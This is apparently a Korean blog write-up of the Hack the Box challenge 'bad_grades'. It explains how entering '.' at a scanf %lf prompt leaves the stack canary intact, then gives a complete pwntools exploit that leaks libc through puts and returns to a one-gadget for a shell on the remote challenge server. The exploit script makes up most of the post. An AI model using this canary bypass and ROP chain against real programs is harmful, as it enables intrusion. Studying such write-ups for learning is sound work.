시작하기전 보호기법 확인
1번을 골랐을 때 2번을 골랐을 때
2번을 골랐을 때 숫자를 입력 받고 그 숫자만큼 반복해서 값을 또 받는다
소스코드
이것 저것 확인하던중 stack smashing을 찾았다
gdb 로 canary 값을 찾아 보았다
숫자 입력전 카나리 값이 잘 존재한다 숫자를 입력후 카나리 값이 덮힌걸 볼 수 있다
숫자를 하나만 입력해도 카나리가 바로 덮힌다
이걸 어떻게 우회를 할까
답은 위에 소스코드에 %lf 부분을 잘 검색하면 알 수 있다
https://rehex.ninja/posts/scanf-and-hateful-dot/
. 을 쓰면 카나리가 우회 된다고 한다
최종 익스 코드
from pwn import *
# r = process('./bad_grades')
r = remote('68.183.41.74',30170)
e = ELF('./bad_grades', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so", checksec=False)
pr = 0x401263
main = 0x000000000401108
puts_plt = e.plt['puts']
puts_got = e.got['puts']
def htd(addr):
return struct.unpack('d', binascii.hexlify(addr).decode('hex'))[0]
def bypass_canary():
for i in range(0,33):
r.sendlineafter('Grade [{}]: '.format(i+1), '1')
r.sendline('.') #canary bypass
r.sendline('.') # rbp
r.sendlineafter('> ', '2')
r.sendlineafter(':', '39')
bypass_canary()
r.sendlineafter(':', "{}".format(htd(p64(pr))))
r.sendlineafter(':', "{}".format(htd(p64(puts_got))))
r.sendlineafter(':', "{}".format(htd(p64(puts_plt))))
r.sendlineafter(':', "{}".format(htd(p64(main))))
r.recvline()
leak = u64(r.recv(6) + '\x00\x00')
log.info('leak : {}'.format(hex(leak)))
libc_base = leak - 0x080aa0
log.info('libc_base : {}'.format(hex(libc_base)))
system = libc_base + 0x4f432
r.sendlineafter('> ', '2')
r.sendlineafter(':', '36')
bypass_canary()
r.sendlineafter(':', "{}".format(htd(p64(system))))
r.interactive()
문제에서는 이상하게 한번에 쉘이 안따지는 문제 계속 시도하다보면 된다
로컬에서 잘 되는거는 안 비밀
'그냥 공부' 카테고리의 다른 글
Heap - Fastbin dup (0) | 2021.12.08 |
---|---|
Hack the Box - format (0) | 2021.09.30 |
H@cktivityCon 2021 CTF - Faucet (0) | 2021.09.22 |
LIT CTF 2021 (0) | 2021.07.20 |